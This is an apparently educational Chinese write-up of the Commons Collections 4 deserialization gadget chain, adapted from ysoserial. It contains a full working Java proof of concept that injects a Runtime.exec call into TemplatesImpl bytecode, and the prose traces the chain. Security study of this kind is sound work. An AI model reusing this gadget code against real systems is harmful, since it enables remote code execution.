1.CommonsCollections4利用链分析
这个利用链和前面的相比就真的没什么不一样的了。其实就是CommonsCollections2把InvokerTransformer
换成了InstantiateTransformer
。其他基本上都是一样的。从ysoserial提取出来的测试代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.*; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.*; import java.util.PriorityQueue; public class CC4Test { public static class StubTransletPayload extends AbstractTranslet implements Serializable { public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } public static void main(String[] argv) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, TransformerConfigurationException, IllegalAccessException, NoSuchFieldException, InstantiationException, InvocationTargetException, NoSuchMethodException { String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"); TemplatesImpl template = new TemplatesImpl(); //生成一段恶意的_bytecodes ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(CC4Test.StubTransletPayload.class)); final CtClass clazz = pool.get(CC4Test.StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码 final byte[] classBytes = clazz.toBytecode(); //设置templates的_bytecodes Field fieldByteCodes = template.getClass().getDeclaredField("_bytecodes"); fieldByteCodes.setAccessible(true); fieldByteCodes.set(template, new byte[][]{classBytes}); //设置templates的_name Field filedName = template.getClass().getDeclaredField("_name"); filedName.setAccessible(true); filedName.set(template,"jus4fun"); //设置templates的_tfactory参数 Field filedtfactory = template.getClass().getDeclaredField("_tfactory"); filedtfactory.setAccessible(true); filedtfactory.set(template,transFactory.newInstance()); Class[] paramTypes = new Class[] { String.class }; Object[] args = new Object[] { "jus4fun" }; InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args); ConstantTransformer constant = new ConstantTransformer(String.class); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain)); queue.add(1); queue.add(1); Field iConstantField = constant.getClass().getDeclaredField("iConstant"); iConstantField.setAccessible(true); iConstantField.set(constant, TrAXFilter.class); Field paramTypesField = instantiate.getClass().getDeclaredField("iParamTypes"); paramTypesField.setAccessible(true); paramTypes = (Class[]) paramTypesField.get(instantiate); Field argsField = instantiate.getClass().getDeclaredField("iArgs"); argsField.setAccessible(true); args = (Object[]) argsField.get(instantiate); paramTypes[0] = Templates.class; args[0] = template; //序列化 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(queue); //反序列化 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object o = (Object)objectInputStream.readObject(); } }
运行后正常弹出计算器,命令被执行。整个反序列化过程如下:
返回的是一个PriorityQueue
实例的反序列化数据,首先进入PriorityQueue.readObject
,这里它会调用heapify()
。
heapify中调用了siftDown()。
siftDown里又由于我们设置了comparator,所以它又调用了siftDownUsingComparator
。
而这里面调用了我们设置的comparator
的compare
方法。我们传入的comparator代码为new TransformingComparator(chain)
。查看其compare()方法如下:
可以看到又是熟悉的transformer.transform
。而transformer是我们设置的ChainedTransformer
。跟前面一模一样,又是使用InstantiateTransformer
调用TrAXFilter
的构造方法,从而触发恶意的TemplatesImpl
的newTransform
方法执行命令。这条利用链感觉就是CC2和CC3的结合。